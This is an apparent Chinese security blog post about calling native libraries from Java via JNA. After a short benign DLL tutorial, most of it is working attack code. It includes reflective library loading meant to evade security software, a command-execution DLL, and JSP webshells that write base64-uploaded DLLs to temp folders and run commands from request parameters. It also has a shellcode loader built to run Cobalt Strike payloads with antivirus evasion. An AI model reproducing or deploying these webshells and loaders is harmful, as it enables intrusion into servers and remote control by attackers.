我们一起聊聊JNA调用动态链接库

前言

在一次实际项目中遇到了无法调用exe可执行文件，听说哥斯拉利用JNA技术实现了内存加载exe、执行命令等操作，特来实践一下。

JNA 基础知识

JNA全称：Java Native Access，是建立在JNI（Java Native Interface）技术之上的Java开源框架，JNA提供了一组Java工具类用于在运行期间动态访问的系统本地库。简单理解就是：JNA提供了一个"桥梁"，可以利用Java代码直接访问动态链接库中的函数。

调用JNI接口

调用JNI接口的步骤为：

  • 创建工程，将dll文件放到工程下
  • 引入JNA相关的jar包
  • 创建继承自Library类的接口
  • 接口中创建对象用于加载DLL/SO的类库
  • 接口中声明DLL/SO类库头文件中暴露的方法
  • 调用该方法

编译DLL

以windows为例，使用Visual Studio 创建一个动态链接库的工程，并定义一个头文件testdll.h和源文件testdll.cpp。简单实现一个SayHello的方法创建testdll.cpp，作用是用来实现被声明的函数。

#include "pch.h"
#include "testdll.h"

void SayHello()
{
    std::cout << "Hello！你成功了！" << std::endl;
}

创建testdll.h头文件，作用是用来声明需要导出的函数接口

#pragma once
#include 

extern "C" __declspec(dllexport) void SayHello();
//声明一个可被调用的函数“SayHello()”，它的返回类型是void。
//extern "C"的作用是告诉编译器将被它修饰的代码按C语言的方式进行编译
//__declspec(dllexport)，此修饰符告诉编译器和链接器被它修饰的函数或变量需要从DLL导出

而后编译出dll。注意：要DLL位数要与JDK位数相同，否则无法调用。

导入JAR包

首先创建java工程，可以是普通项目也可以是maven功能。maven 需要导入依赖


  net.java.dev.jna
  jna
  5.13.0


  net.java.dev.jna
  jna-platform
  5.13.0

普通工程可以在 https://github.com/java-native-access/jna 下载jna jar包和platform jar包并导入。

调用DLL

我们需要继承Library类接口，调用Native类的load方法将我们的testdll.dll加载进来并转换为本地库，而后声明SayHello方法。

public interface Mydll extends Library {

    Mydll mydll = (Mydll)Native.load("testdll",Mydll.class);
    void SayHello();
}

调用时不需要链接库的后缀，会自动加上。声明SayHello方法时，结合testdll.h头文件，没有返回值为void，也没有需要的数据类型。（需要的话可查找JNA 数据类型对应关系）

然后在主方法里调用SayHello方法

public static void main(String[] args) {
    Mydll.mydll.SayHello();
}

可以看到成功调用了testdll.dll的SayHello方法。

加载动态链接库

在上面的代码中，我们直接利用Native.load将dll转换为本地库，在此之前缺少了加载这一步。常见的加载动态链接库有三种方法：

  • System.load / System.loadLibrary
  • Runtime.getRuntime().load / Runtime.getRuntime().loadLibrary
  • com.sun.glass.utils.NativeLibLoader.loadLibrary

在使用时也有一些区别：load接收的是系统的绝对路径，loadLibrary接收的是相对路径。但实际利用过程中肯定是绝对路径优先于相对路径。以Runtime.getRuntime().load为例：

但实际利用可能会被安全软件捕捉。我们反射调用loadLibrary方法。代码来自Java加载动态链接库这篇文章

try {
    Class clazz = Class.forName("java.lang.ClassLoader");
    java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
    method.setAccessible(true);
    method.invoke(null, clazz, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll", true);
    Mydll mydll = (Mydll)Native.load("testdll",Mydll.class);
    mydll.SayHello();
}catch (Exception e){
    e.printStackTrace();
}

场景利用

现在我们想一下具体场景的利用，在此基础上调整我们的代码。

webshell

既然jna加载动态链接库后转换为本地库，可以调用dll的任意方法，那实现一个命令执行应该也是可以的。

#include "pch.h"
#include "command.h"

#include 
#include 

void executeCommand(const char* command) {
    char psBuffer[128];
    FILE* pPipe;

    if ((pPipe = _popen(command, "r")) == NULL)
    {
        exit(1);
    }

    while (fgets(psBuffer, 128, pPipe))
    {
        puts(psBuffer);
    }

    int endOfFileVal = feof(pPipe);
    int closeReturnVal = _pclose(pPipe);

    if (endOfFileVal)
    {
        printf("\nProcess returned %d\n", closeReturnVal);
    }
    else
    {
        printf("Error: Failed to read the pipe to the end.\n");
    }
}

相应的头文件

#pragma once
#include 

extern "C" __declspec(dllexport) void executeCommand(const char* command);

java代码加载并调用。

import com.sun.jna.Library;
import com.sun.jna.Native;

public class test {

	public interface Mydll extends Library {
        void executeCommand(String command);
    }
    public static void main(String[] args) {
    	try {
            Class clazz = Class.forName("java.lang.ClassLoader");
            java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
            method.setAccessible(true);
            method.invoke(null, clazz, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll", true);
            Mydll mydll = (Mydll)Native.load("testdll",Mydll.class);
            mydll.executeCommand("ipconfig");
    	}catch (Exception e){
            e.printStackTrace();
        }

    }

}

成功实现。结合实际利用我们还需要优化一下代码，改成jsp脚本文件。因为com.sun.jna包是第三方包，在实际利用肯定没有。所以这里选择将自己写的代码和jna.jar一块用maven打包为maven02-1.0-SNAPSHOT-jar-with-dependencies.jar试试。

再把test类名修改为show，把dll动态链接库和将要执行的命令作为参数传递进去。现在还差一个加载外部的jar包并调用方法的jsp脚本文件。

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>


<%
    String path = "file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar";
    URLClassLoader urlClassLoader =null;
    Class MyTest = null;
    //通过URLClassLoader加载外部jar
    urlClassLoader = new URLClassLoader(new URL[]{new URL(path)});
    //获取外部jar里面的具体类对象
    MyTest = urlClassLoader.loadClass("com.jna.jnatest");
    //创建对象实例
    Object instance = MyTest.newInstance();
    //获取实例当中的方法名为show
    Method method = MyTest.getMethod("show", String.class,String.class);
    //传入实例以及方法参数信息执行这个方法
    Object ada = method.invoke(instance, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll","whoami");
%>

这样用的时候需要向目标服务器手动上传两个文件，jar包和dll文件。我们再进一步优化一下。

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %>

<%!

    private String getFileName(){
        String fileName = "";
        java.util.Random random = new java.util.Random(System.currentTimeMillis());
        String os = System.getProperty("os.name").toLowerCase();
        if (os.contains("windows")){
            fileName = "C:\\Windows\\Temp\\" + random.nextInt(10000000) + ".dll";
        }else {
            fileName = "/tmp/"+ random.nextInt(10000000) + ".so";
        }
        return fileName;
    }


    public String UploadBase64DLL(String base64) throws Exception {
        sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder();
        java.io.File file = new java.io.File(getFileName());
        java.io.FileOutputStream fos = new java.io.FileOutputStream(file);
        fos.write(b.decodeBuffer(base64));
        fos.close();
        return file.getAbsolutePath();
    }
%>
<%
    try{
        String cmd = request.getParameter("cmd");
        String base64 = request.getParameter("base64");
        String file =  UploadBase64DLL(base64);
        String path = "file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar";
        //通过URLClassLoader加载外部jar
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(path)});
        //获取外部jar里面的具体类对象
        Class MyTest = urlClassLoader.loadClass("com.jna.jnatest");
        //创建对象实例
        Object instance = MyTest.newInstance();
        //获取实例当中的方法名为show，参数只有一个且类型为string的public方法
        Method method = MyTest.getMethod("show", String.class,String.class);
        //传入实例以及方法参数信息执行这个方法
        Object ada = method.invoke(instance, file,cmd);


    }
    catch (Exception e){
        out.println(e);
    }

%>

现在只需要手动上传一个jar包就可以，dll通过base64编码上传上去。这样参数值就是base64编码之后的dll和cmd要执行的系统命令。

唯一的缺点就是不能在前端显示，或许将代码加入到冰蝎可以实现？

shellcode

既然前端无法获取结果，那直接加载shellcode上线cs呢？我们利用同样的方式写出加载shellcode的代码。shellcode.cpp

#include "shellcode.h"
#include 


using namespace std;

void shellcode(PCHAR code, DWORD buf_len) {

    cout << buf_len << endl;
    DWORD oldprotect = 0;
    LPVOID  base_addr = NULL;
    //  申请一块buf_len长度大小的空间，RW权限，不要开rwx，PAGE_EXECUTE_READWRITE 
    base_addr = VirtualAlloc(0, buf_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    // 复制shellcode到新的空间，这个函数比较罕见，用memcpy也可以呀
    unsigned char HexNumArray[4096];
    int num = HexStr2HexNum(code, buf_len, HexNumArray);
    RtlMoveMemory(base_addr, HexNumArray, buf_len);
    // 修改为执行RX权限
    VirtualProtect(base_addr, buf_len, PAGE_EXECUTE_READ, &oldprotect);
    cout << "starting spawn shellcode" << endl;
    // 当前进程创建线程执行shellcode
    auto ct = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)base_addr, 0, 0, 0);
    // 等待线程返回值
    WaitForSingleObject(ct, -1);
    // 释放内存
    free(base_addr);
}

int HexStr2HexNum(char* HexStrArray, int len, unsigned char* HexNumArray)
{
    int j = 0;
    for (int i = 0; i < len; i += 2)
    {
        if (HexStrArray[i] == 0x5C || HexStrArray[i] == 0x58 || HexStrArray[i] == 0x78)
        {
            continue;
        }
        char HIGH_BYTE = 0;
        char LOW_BYTE = 0;
        //high 4
        if (HexStrArray[i] >= 0x30 && HexStrArray[i] <= 0x3A)
        {
            HIGH_BYTE = HexStrArray[i] - 0x30;
        }
        else if (HexStrArray[i] >= 0x41 && HexStrArray[i] <= 0x47)
        {
            HIGH_BYTE = HexStrArray[i] - 0x37;
        }
        else if (HexStrArray[i] >= 0x61 && HexStrArray[i] <= 0x67)
        {
            HIGH_BYTE = HexStrArray[i] - 0x57;
        }
        else
        {
            printf("Please make sure the format of Hex String is correct!\r\n");
            printf("The wrong char is \"%c\", and its number is % d\r\n", HexStrArray[i], i);
            return -1;
        }

        //low 4
        if (HexStrArray[i + 1] >= 0x30 && HexStrArray[i + 1] <= 0x3A)
        {
            LOW_BYTE = HexStrArray[i + 1] - 0x30;
        }
        else if (HexStrArray[i + 1] >= 0x41 && HexStrArray[i + 1] <= 0x47)
        {
            LOW_BYTE = HexStrArray[i + 1] - 0x37;
        }
        else if (HexStrArray[i + 1] >= 0x61 && HexStrArray[i + 1] <= 0x67)
        {
            LOW_BYTE = HexStrArray[i + 1] - 0x57;
        }
        else
        {
            printf("Please make sure the format of Hex String is correct!\r\n");
            printf("The wrong char is \"%c\", and its number is % d\r\n", HexStrArray[i], i);
            return -1;
        }

        HexNumArray[j] &= 0x0F;
        HexNumArray[j] |= (HIGH_BYTE << 4);
        HexNumArray[j] &= 0xF0;
        HexNumArray[j] |= LOW_BYTE;
        j++;
    }
    return 0;
}

shellcode.h

#pragma once
#include 


extern "C" __declspec(dllexport) BOOL shellcode(PCHAR code, DWORD size);
int HexStr2HexNum(char* HexStrArray, int len, unsigned char* HexNumArray);

在java里加载并调用，传入shellcode和长度。以达到更好的免杀性。

import java.util.Base64;
import com.sun.jna.Library;
import com.sun.jna.Native;


public class test {

	public interface Mydll extends Library {
        void shellcode(byte[] b,int length);
    }

    public static void show(String base64,String dllpath,String dllname) {
        try {
            Class clazz = Class.forName("java.lang.ClassLoader");
            java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
            method.setAccessible(true);
            method.invoke(null, clazz, dllpath, true);
            Mydll mydll = (Mydll)Native.load(dllname,Mydll.class);
            byte[] base64decodedBytes = java.util.Base64.getDecoder().decode(base64);
            int leng = base64decodedBytes.length;
            mydll.shellcode(base64decodedBytes,leng);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
	
	public static void main(String[] args) {
		String base64encodedString = "XHhmY1x4NDhxxxxxxxxxxxxxxx";
		show(base64encodedString,"C:\\Windows\\Temp\\jna.dll","jna");
    }
}

此时只需要将shellcode值base64编码当做字符传递即可。测试一下

可以看到正常上线，进程为javaw.exe。那在实际环境中同样不能这样利用。依旧把java代码打包为jar包，再修改一下jsp脚本文件应该就可以在实际运行了。

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %>

<%!

    private String getFileName(String dllname){
        String fileName = "";
        String os = System.getProperty("os.name").toLowerCase();
        if (os.contains("windows")){
            fileName = "C:\\Windows\\Temp\\" + dllname + ".dll";
        }else {
            fileName = "/tmp/"+ dllname + ".so";
        }
        return fileName;
    }


    public String UploadBase64DLL(String base64,String dllname) throws Exception {
        sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder();
        java.io.File file = new java.io.File(getFileName(dllname));
        java.io.FileOutputStream fos = new java.io.FileOutputStream(file);
        fos.write(b.decodeBuffer(base64));
        fos.close();
        return file.getAbsolutePath();
    }
%>
<%
    try{

        String shellcode = request.getParameter("shellcode");
        String base64dll = request.getParameter("base64dll");
        String dllname = request.getParameter("dllname");
        String pathdll = UploadBase64DLL(base64dll,dllname);
        String path = "file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar";
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(path)});
        Class MyTest = urlClassLoader.loadClass("com.jna.jnatest");
        Object instance = MyTest.newInstance();
        Method method = MyTest.getMethod("show", String.class,String.class,String.class);
        Object ada = method.invoke(instance,shellcode, pathdll,dllname);

    }
    catch (Exception e){
        out.println(e);
    }

%>

以tomcat为例，shellcode 即将cobaltstrike的shellcode进行base64编码，base64dll 是base64编码dll动态链接库之后的值，dllname即是dll动态链接库的名称。测试可以正常上线执行命令。上线进程为java.exe。

总结

在学习JNA调用动态链接库的时候，借鉴了很多师傅的思路，但无奈赶不上师傅们的高度，只能用稍微复杂点的办法完善自己的代码，来曲折得实现效果。

参考资料

https://www.bilibili.com/video/BV16t411A7it/?spm_id_from=333.337.search-card.all.click&vd_source=0627d2723fb97773126096556cc98e0dhttps://www.cnblogs.com/happyhuangjinjin/p/17219986.htmlhttps://tttang.com/archive/1436/https://payloads.online/archivers/2022-08-11/1/

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